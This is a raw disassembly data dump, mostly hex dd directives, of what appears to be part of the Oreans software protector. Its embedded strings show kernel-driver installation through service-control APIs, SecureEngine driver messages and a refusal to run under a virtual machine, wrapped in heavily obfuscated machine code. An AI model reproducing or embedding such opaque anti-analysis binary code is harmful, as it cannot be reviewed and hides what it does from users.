		dd 6121B91h, 1,	55B58DC3h, 0E80614B7h, 1FCh, 0B7DFBD03h
		dd 0BD830614h, 614B7DFh, 0B840F00h, 0C7000000h,	1217DD85h
		dd 106h, 0B58DC300h, 614B7CEh, 1D3E8h, 0DFBD0300h, 830614B7h
		dd 14B7DFBDh, 840F0006h, 0Bh, 188985C7h, 10612h, 8DC30000h
		dd 14B75FB5h, 1AAE806h,	0BD030000h, 614B7DFh, 0B7DFBD83h
		dd 0F000614h, 0B84h, 0DD85C700h, 1061217h, 0C3000000h
		dd 0B769B58Dh, 81E80614h, 3000001h, 14B7DFBDh, 0DFBD8306h
		dd 614B7h, 15840Fh, 85C70000h, 61217DDh, 1, 1B9185C7h
		dd 10612h, 8DC30000h, 14B777B5h, 14EE806h, 0BD030000h
		dd 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h, 1585C700h, 106121Ah
		dd 8D000000h, 14B781B5h, 126E806h, 0BD030000h, 614B7DFh
		dd 0B7DFBD83h, 0F000614h, 0A84h, 1585C700h, 106121Ah, 8D000000h
		dd 14B78CB5h, 0FEE806h,	0BD030000h, 614B7DFh, 0B7DFBD83h
		dd 0F000614h, 0A84h, 0B585C700h, 1061218h, 8D000000h, 14B792B5h
		dd 0D6E806h, 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h
		dd 0A84h, 5185C700h, 106121Ah, 8D000000h, 14B798B5h, 0AEE806h
		dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h,	0A84h
		dd 8585C700h, 1061203h,	8D000000h, 14B7A6B5h, 86E806h
		dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h,	0A84h
		dd 9D85C700h, 106122Ch,	8D000000h, 14B7B3B5h, 5EE806h
		dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h,	0A84h
		dd 7985C700h, 1061207h,	8D000000h, 14B7BEB5h, 36E806h
		dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h,	0A84h
		dd 6D85C700h, 106121Ah,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1FE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h,	0F163817h
		dd 584h, 0B900h, 47460000h, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD085h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0B7DFB589h, 0AE90614h, 0C7000000h
		dd 14B7DF85h, 6, 0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 1A1585C7h, 612h, 0C88B0000h,	20EE9h
		dd 61433300h, 746F6E6Eh, 69727720h, 6F206574h, 6E616572h
		dd 78762E73h, 4D0D0A64h, 20656B61h, 65727573h, 61687420h
		dd 68742074h, 66207369h, 20656C69h, 6E207369h, 6220746Fh
		dd 676E6965h, 65737520h, 79622064h, 6F6E6120h, 72656874h
		dd 6F727020h, 6D617267h, 2Eh, 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 287185C6h,	68470612h, 0E3E45B86h
		dd 3B1B5FFh, 858D0612h,	6123B5Dh, 468D0FFh, 8D000001h
		dd 120F019Dh, 0D0FF5306h, 6FB58D50h, 8B0614BDh,	0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 7185C6A4h
		dd 43061228h, 8E6EFC68h, 0B1B5FFBCh, 8D061203h,	123B5D85h
		dd 8DD0FF06h, 120F01B5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 287185C6h, 68570612h,	0A69BEE56h
		dd 3B1B5FFh, 858D0612h,	6123B5Dh, 0BD8DD0FFh, 6121F95h
		dd 0BE958D8Dh, 6A0614h,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	614BB77h, 0A7DF858Dh, 0D0FF0614h
		dd 72778D8Dh, 0B80612h,	0FF000000h, 7185C6E1h, 43061228h
		dd 764AA768h, 0B1B5FFC0h, 8D061203h, 123B5D85h,	53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E8000000h, 0Eh, 0E9730916h, 0A483ACEDh
		dd 5BFE15DCh, 0BD8B6BEFh, 612074Dh, 20C2815Ah, 2B00005Ch
		dd 859501C0h, 0FF061202h, 9D8B1034h, 61204E9h, 51506059h
		dd 890F5B5Ah, 6, 17A98D03h, 81610612h, 604152E9h, 0A9B52B31h
		dd 81061229h, 8C6E81C1h, 81665343h, 5E3D7EC7h, 3A26F181h
		dd 0F18B21C0h, 89020C89h, 122F819Dh, 5DB58906h,	83061222h
		dd 0F88104E8h, 0FFFFA460h, 0FFA5850Fh, 9D8BFFFFh, 612108Dh
		dd 10B7E9h, 56444100h, 33495041h, 4C442E32h, 704F004Ch
		dd 43536E65h, 616E614Dh, 41726567h, 65724300h, 53657461h
		dd 69767265h, 416563h, 72617453h, 72655374h, 65636976h
		dd 65470041h, 74614E74h, 53657669h, 65747379h, 666E496Dh
		dd 704F006Fh, 65536E65h, 63697672h, 44004165h, 74656C65h
		dd 72655365h, 65636976h, 6F6C4300h, 65536573h, 63697672h
		dd 6E614865h, 656C64h, 746E6F43h, 536C6F72h, 69767265h
		dd 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 0B589C48Bh
		dd 6122C39h, 180D8589h,	81660612h, 8BB7F4D1h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0E7650E18h, 2FDD8589h, 0BD830612h, 6121B91h,	83097500h
		dd 1217DDBDh, 19740006h, 0C08B5350h, 43DB8h, 85858900h
		dd 8D061200h, 14AE0F9Dh, 5BD3FF06h, 0DDBD8358h,	61217h
		dd 53501774h, 43DB8h, 85858900h, 8D061200h, 14AAFE9Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0D781E5B6h, 174D0BB1h, 0A927C981h
		dd 8B605D3Fh, 121AD18Dh, 10E906h, 3FEE0000h, 0B3878BF8h
		dd 0C867CE04h, 8179B86Eh, 8B617A03h, 68B0FC0h, 89000000h
		dd 122DE1BDh, 0E8C08B06h, 10h, 0FCB37F40h, 3848BAEEh, 8AEB3D1h
		dd 0B17AAE35h, 539B589h, 83590612h, 121B91BDh, 9750006h
		dd 17DDBD83h, 74000612h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 614ACB1h, 585BD3FFh,	17DDBD83h, 74000612h, 0B8535011h
		dd 0
		dd 0AB629D8Dh, 0D3FF0614h, 9589585Bh, 6121D29h,	6AC08BF5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 7114C357h, 8DE98039h, 5E8h, 5D0B9500h, 0BD0B508Fh
		dd 6120461h, 0FC08B59h,	68Bh, 9D9D8900h, 83061203h, 121B91BDh
		dd 9750006h, 17DDBD83h,	74000612h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 614ABE3h, 585BD3FFh,	17DDBD83h, 74000612h, 0B8535011h
		dd 0
		dd 0AB309D8Dh, 0D3FF0614h, 9589585Bh, 6121EADh,	0CD9B529h
		dd 0C08B0612h, 9DD8D8Bh, 890F0612h, 4, 5F616050h, 8B66C08Bh
		dd 91BD83CBh, 6121Bh, 0BD830975h, 61217DDh, 50137400h
		dd 0B8C08B53h, 0
		dd 0AC4A9D8Dh, 0D3FF0614h, 0BD83585Bh, 61217DDh, 50117400h
		dd 0B853h, 9D8D0000h, 614AB49h,	585BD3FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 93C35747h, 0BE82837h
		dd 0B000000h, 0D42A0A74h, 9561CE16h, 0F1B29972h, 0F5858959h
		dd 6A06122Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0C318C356h, 0CDFCE8C9h, 0F2816695h
		dd 8D89E8CCh, 6120575h,	0BD8BC08Bh, 6120D81h, 8589C08Bh
		dd 6120E89h, 1B91BD83h,	75000612h, 0DDBD8309h, 61217h
		dd 53501374h, 0B8C08Bh,	8D000000h, 14AB7C9Dh, 5BD3FF06h
		dd 0A5B52958h, 80061215h, 0C08B02E5h, 6E5B529h,	0C08B0612h
		dd 1AAD8D29h, 0BD830612h, 6121B91h, 83097500h, 1217DDBDh
		dd 19740006h, 0C08B5350h, 7D0B8h, 85858900h, 8D061200h
		dd 14AE0F9Dh, 5BD3FF06h, 0DDBD8358h, 61217h, 53501774h
		dd 7D0B8h, 85858900h, 8D061200h, 14AAFE9Dh, 5BD3FF06h
		dd 5D950158h, 66061207h, 0C08BFB8Bh, 0D918589h,	85C60612h
		dd 6122871h, 0D18B6653h, 395F9068h, 2D853199h, 0FF06121Bh
		dd 1203B1B5h, 5D858D06h, 906123Bh, 12233595h, 66D0FF06h
		dd 12E9D38Bh, 97000000h, 29FF1F5Fh, 0A638574Fh,	0C3B5112h
		dd 0B2BC50F3h, 31858961h, 6A06121Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1D26C351h
		dd 8B664F43h, 0EE9F8h, 0DABD0000h, 0E53F11C9h, 7403BB0Fh
		dd 47968122h, 287185C6h, 68570612h, 90045206h, 0ECADB966h
		dd 3B1B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 3F743EC3h, 0FE7A6D2Eh, 92F18166h
		dd 5D858D61h, 8906123Bh, 122ACDB5h, 0E8D0FF06h,	11h, 9BB94A35h
		dd 0ED25A749h, 3E769B30h, 0B4A0F488h, 0BD8B52E1h, 6121119h
		dd 85895959h, 6122CB5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0C5C35545h, 3607663Ch, 0E97CE55Ah, 34D98D09h
		dd 85C60612h, 6122871h,	7FDA8043h, 90702868h, 19D89BCh
		dd 81061213h, 0F07D8AE1h, 0B1B5FF58h, 66061203h, 858DD08Bh
		dd 6123B5Dh, 81D0FFF9h,	0C182E6EFh, 0DD85897Ch,	89061226h
		dd 122F4985h, 85C6F906h, 6122871h, 50006A4Ch, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 461A3EF8h
		dd 0C1BD8949h, 66061234h, 686297B9h, 0D9DA1CE9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ADC35141h, 29AD3D0Ch
		dd 1234A185h, 0B1B5FF06h, 0E8061203h, 11h, 3F942A4Ah, 0EF70D08Eh
		dd 458E1A76h, 0C5B652Ah, 0D9816693h, 8D5FF331h,	123B5D85h
		dd 298D0306h, 0FF061213h, 0A791BAD0h, 8589765Bh, 61220C1h
		dd 1E058D29h, 85C60612h, 6122871h, 6146846h, 0BD8BBADEh
		dd 6122DE9h, 12E9h, 0C50EB800h,	907BDD9Ch, 0BD48D5FCh
		dd 0B0301CC3h, 0FF9F6096h, 1203B1B5h, 0CB8B6606h, 3B5D858Dh
		dd 0FFF90612h, 0FE50BAD0h, 8589561Dh, 6122309h,	1958B50h
		dd 5A06121Eh, 287185C6h, 23470612h, 1220718Dh, 0B5E26806h
		dd 6A8A0Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 9D86D1C3h, 6D3D4CB4h, 35BD01C7h, 80061217h
		dd 0B5FFCDF1h, 61203B1h, 13E860h, 0EDB30000h, 958D37DEh
		dd 0AA404076h, 0DA2EC2A1h, 0EF30C15Ch, 850FB6h,	5B000000h
		dd 61CFBF0Fh, 112D8D89h, 858D0612h, 6123B5Dh, 20E9B509h
		dd 0DE90612h, 40000000h, 0A24645F2h, 645E263Ah,	0B2E598B6h
		dd 0F781D0FFh, 28807EE3h, 9E18589h, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B70F0BC3h
		dd 7185C6D2h, 47061228h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 4C35343h, 0A606A6E4h,	2D85A800h, 0F9B529C6h
		dd 8106122Fh, 0EB96FFE9h, 0B5F36825h, 0B53183D0h, 61222F5h
		dd 0DE9h, 32BAF800h, 0CA64B211h, 0DD788360h, 0B5FF767Fh
		dd 61203B1h, 0F4CA8166h, 5D858DC2h, 6606123Bh, 8B0FF88Bh
		dd 11h,	5E8h, 0F93BCC00h, 950385E3h, 6120A19h, 6AD0FF5Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 13B1C355h, 11E9h,	230BB300h, 0AFD31490h
		dd 0D6E77FAh, 816F695h,	8589B08Dh, 6123025h, 0FAF78166h
		dd 5985896Fh, 89061210h, 121C559Dh, 7185C606h, 77061228h
		dd 0EE8h, 9E02A400h, 98410747h,	5E396686h, 0E9B5F995h
		dd 13h,	51C0CB2Ch, 9DB129F9h, 7B6D69C5h, 0EA774680h, 5F271B65h
		dd 97A8A368h, 0C88B66F3h, 1D39B5FFh, 8B660612h,	5D858DCFh
		dd 6606123Bh, 0FFA531BAh, 0CBBF0FD0h, 23718589h, 6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 201038C3h, 30B83FAEh, 0E9F375FCh, 0Dh, 0F74023FBh, 0CD8E1285h
		dd 1486E67Fh, 7185C6B9h, 47061228h, 68C9BF0Fh, 8728FAF6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h
		dd 3B1B5FFh, 8D8B0612h,	6122D91h, 3B5D858Dh, 8D0F0612h
		dd 5, 16D78166h, 0E9D0FFEBh, 13h, 0E8DA52C1h, 7A19E9D7h
		dd 4E4659C2h, 0D8878A62h, 8964A174h, 122FD985h,	0F98D8906h
		dd 0C606121Bh, 12287185h, 6A4306h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 4F48F7C3h, 0D0C93B7Ch
		dd 8B994965h, 1218B1BDh, 29BD8B06h, 68061204h, 0BC8E6EFCh
		dd 0D8EBB966h, 3B1B5FFh, 8E0F0612h, 4, 654CB966h, 3B5D858Dh
		dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0B9903EC3h, 298D8BF5h, 0FF061213h, 718D29D0h
		dd 8906121Fh, 12042D85h, 0B98D3106h, 0C6061217h, 12287185h
		dd 0BD294506h, 6121EFDh, 72696968h, 58D0F8Eh, 0B9000000h
		dd 4EEF3C51h, 3B1B5FFh,	6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 8DCA4BC3h, 0CB84546Ah
		dd 8DD687F8h, 123B5D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 9864F812h, 820F6513h
		dd 2, 0D0FFCF8Bh, 12E9h, 819FCA00h, 0C7E413E9h,	4BED4EEBh
		dd 0AE6ABF72h, 89710C21h, 1230FD85h, 4810F06h, 66000000h
		dd 0C6AE28BFh, 12287185h, 0D6804406h, 0EC64680Bh, 65BFB8F2h
		dd 0FF018259h, 1203B1B5h, 0CE906h, 53720000h, 5B75743Ch
		dd 5CEFF6FCh, 858DAAC4h, 6123B5Dh, 650CD781h, 0D0FF62E5h
		dd 10759D89h, 60510612h, 0CE42BF66h, 8E0Fh, 5A610000h
		dd 2D258589h, 85890612h, 6121B81h, 85C6FA8Bh, 6122871h
		dd 68D68B43h, 0C0764AA7h, 0BE950h, 0BAE90000h, 6F1F0F09h
		dd 0D75696BEh, 0B5FF59D7h, 61203B1h, 48E0Fh, 0BF660000h
		dd 858D4E7Ch, 6123B5Dh,	0AB5E75B9h, 6AD0FF31h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 6536C352h, 9932B29Fh, 0A18589EFh, 8906121Bh,	121EA995h
		dd 0E1BD8006h, 61502h, 0C1840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 26640EC3h, 0B4F181D0h, 8D0E5C38h, 1502C385h,	0FBB70F06h
		dd 55006A50h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0E76F3Eh, 78DF8166h, 8B016AF9h, 1213FDBDh
		dd 66006A06h, 8D1FE181h, 8D8B006Ah, 61215D1h, 2F4995FFh
		dd 0E1810612h, 194B4CD7h, 14698589h, 8A0F0612h,	6, 34FDB509h
		dd 0FF6A0612h, 69B5FFF5h, 6A061214h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1538C356h
		dd 0C98166A2h, 0FFFC8FEDh, 122CB595h, 0A1BD8906h, 8B061219h
		dd 91BD83C0h, 6121Bh, 0BD830975h, 61217DDh, 50197400h
		dd 0B8C08B53h, 7D1h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh
		dd 17DDBD83h, 74000612h, 0B8535017h, 7D1h, 858589h, 9D8D0612h
		dd 614AAFEh, 585BD3FFh,	34758D8Bh, 9D890612h, 6120C91h
		dd 1C999D89h, 0C08B0612h, 8BFFB70Fh, 122681BDh,	7185C606h
		dd 47061228h, 0F7C168F5h, 6A93C8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 336F8AC3h, 0FFF98B66h
		dd 1203B1B5h, 13E906h, 0F3710000h, 223B3FA7h, 0D054C64Eh
		dd 1B3F4746h, 6D178251h, 5D858D69h, 8B06123Bh, 12095D95h
		dd 0CFB70F06h, 0B966D0FFh, 8D5064F5h, 15070485h, 0B18D8B06h
		dd 0C7061209h, 9400h, 0EE900h, 0AD530000h, 0CE5304E6h
		dd 0BD00F74h, 0B68E4D4Eh, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 706DBC21h
		dd 0FF4E522h, 0B58DFAB7h, 6150704h, 6656FA8Bh, 0F12AC181h
		dd 8D89D0FFh, 61213EDh,	0F98D8B56h, 5A061218h, 704858Dh
		dd 81660615h, 8B19F9E1h, 1234ED95h, 4788306h, 11850F06h
		dd 89000000h, 12142195h, 9885C706h, 1061507h, 0F8000000h
		dd 905BD83h, 0F000612h,	8C85h, 870F5600h, 0
		dd 0B7ED805Ah, 798BD83h, 0F000615h, 7485h, 0B2FA8B00h
		dd 79BD8368h, 61216h, 63840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 3CEC9FC3h
		dd 0FD9E38DFh, 8B1D66E2h, 120E3595h, 0DBD8B06h,	0C7061214h
		dd 121D6585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0A836AB2h, 9A01E0EFh
		dd 0B70FFA6Eh, 0DB8C66CAh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 34C35141h, 534D68E9h,	14F58589h, 0F65A0612h
		dd 840F04C3h, 5A0h, 0BE9h, 0B85B7100h, 93A0E9DCh, 559CBD83h
		dd 0CEF78166h, 0AD85C72Bh, 61207h, 0E8000000h, 8, 9C9847D9h
		dd 3031826h, 0DA19D89h,	80590612h, 1502EEBDh, 850F0006h
		dd 6, 1BC1BD8Bh, 85C60612h, 6122871h, 0A8D0F47h, 0E9000000h
		dd 5, 60B578ABh, 5B8668C4h, 0BD89E3E4h,	6121935h, 3B1B5FFh
		dd 0EA810612h, 2D996020h, 3B5D858Dh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 666685C3h
		dd 0D0FFFE8Bh, 21C1958Bh, 4680612h, 81000001h, 71A759C2h
		dd 19D8D72h, 0E806120Fh, 13h, 0BB311E82h, 0B787FF5Dh, 18F3D4DDh
		dd 0CC2DF46h, 8BECCA48h, 8B6659CBh, 0BD8953F8h,	6121E61h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0A43C23C3h, 8024C287h, 953129D9h,	612116Dh
		dd 2F898D01h, 858D0612h, 6120F01h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 69C35747h, 0B70F6A12h, 958B50FBh
		dd 6121211h, 2A0858Dh, 6A0615h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 6D4DAC3h, 0B98AC34h
		dd 13E8h, 6E706900h, 96B96FF0h,	118AFCEFh, 6D5379FAh, 0F9ACC38Dh
		dd 1051958Bh, 0E8590612h, 11h, 3111235Ah, 0D3876B24h, 6C948130h
		dd 0BB236411h, 68D0FB7h, 8B000000h, 121BAD8Dh, 0E9505A06h
		dd 14h,	40F37CC7h, 6E95B527h, 0D3F7EE83h, 0A37E0B20h, 4160984Bh
		dd 0F973858Dh, 6A0614h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0BED4F2C3h, 8B19E3ADh, 12000DBDh
		dd 0BD235006h, 612211Dh, 237195FFh, 51500612h, 2F35BD89h
		dd 5A5F0612h, 520CC483h, 15AFA8Bh, 122C699Dh, 68006A06h
		dd 80h,	6A036Ah, 68006Ah, 8D800000h, 14F97385h,	95FF5006h
		dd 612042Dh, 2838589h, 85C60615h, 6122871h, 5E876847h
		dd 0B5FFC7B1h, 61203B1h, 3B5D858Dh, 0D0FF0612h,	0B5FF006Ah
		dd 6150283h, 0F5B1D0FFh, 4299501h, 0D03D0612h, 0F000037h
		dd 6783h, 0D7BF0F00h, 283B5FFh,	85890615h, 6121C99h, 9E9h
		dd 1BC29C00h, 0F7247DCAh, 95FF4EB9h, 6121BA1h, 89CA8B60h
		dd 1216A19Dh, 0F6E96106h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E0A4C356h
		dd 0D0B7A4ACh, 0A2D7BB03h, 5E9h, 22B52200h, 8D8B94F8h
		dd 61234B5h, 283B5FFh, 6A0615h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 3AFBF1C3h, 81B21CE5h
